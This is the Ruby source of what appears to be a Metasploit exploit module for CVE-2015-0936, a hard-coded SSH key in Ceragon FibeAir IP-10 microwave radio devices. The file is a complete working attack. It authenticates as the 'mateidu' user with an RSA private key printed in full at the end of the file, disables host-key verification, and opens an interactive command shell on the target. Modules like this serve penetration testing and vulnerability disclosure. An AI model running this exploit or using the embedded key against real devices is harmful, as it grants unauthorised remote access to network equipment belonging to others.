149 lines
4.5 KiB
Ruby
149 lines
4.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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require 'net/ssh/command_stream'
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class MetasploitModule < Msf::Exploit::Remote
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include Msf::Auxiliary::Report
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Rank = ExcellentRanking
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def initialize(info = {})
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super(update_info(info, {
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'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
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'Description' => %q{
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Ceragon ships a public/private key pair on FibeAir IP-10 devices
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that allows passwordless authentication to any other IP-10 device.
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Since the key is easily retrievable, an attacker can use it to
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gain unauthorized remote access as the "mateidu" user.
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Targets' => [ [ "Universal", {} ] ],
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'Payload' =>
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{
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find',
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},
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},
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'Author' => [
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'hdm', # Discovery
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'todb' # Metasploit module and advisory text (mostly copy-paste)
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2015-0936'],
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['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
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],
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'DisclosureDate' => "Apr 01 2015", # Not a joke
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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'DefaultTarget' => 0
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}))
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register_options(
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[
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# Since we don't include Tcp, we have to register this manually
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Opt::RHOST(),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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]
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)
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end
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# helper methods that normally come from Tcp
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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def do_login(user)
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factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
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opt_hash = {
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:auth_methods => ['publickey'],
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:port => rport,
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:key_data => [ key_data ],
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:use_agent => false,
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:config => false,
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:proxy => factory,
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:non_interactive => true,
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:verify_host_key => :never
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}
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opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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ssh_socket = nil
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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ssh_socket = Net::SSH.start(rhost, user, opt_hash)
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end
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rescue Rex::ConnectionError
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return nil
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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return nil
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rescue ::Timeout::Error
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print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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return nil
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rescue Net::SSH::AuthenticationFailed
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print_error "#{rhost}:#{rport} SSH - Failed authentication"
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return nil
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rescue Net::SSH::Exception => e
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print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return nil
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end
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if ssh_socket
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# Create a new session from the socket, then dump it.
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conn = Net::SSH::CommandStream.new(ssh_socket)
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ssh_socket = nil
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return conn
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else
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return nil
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end
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end
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def exploit
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conn = do_login("mateidu")
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if conn
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print_good "#{rhost}:#{rport} - Successful login"
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handler(conn.lsock)
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end
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end
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def key_data
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<<EOF
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-----BEGIN RSA PRIVATE KEY-----
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MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
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MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
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IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
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gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
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CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
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4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
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SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
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B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
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93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
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WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
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YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
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7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
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uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
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-----END RSA PRIVATE KEY-----
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EOF
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end
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end
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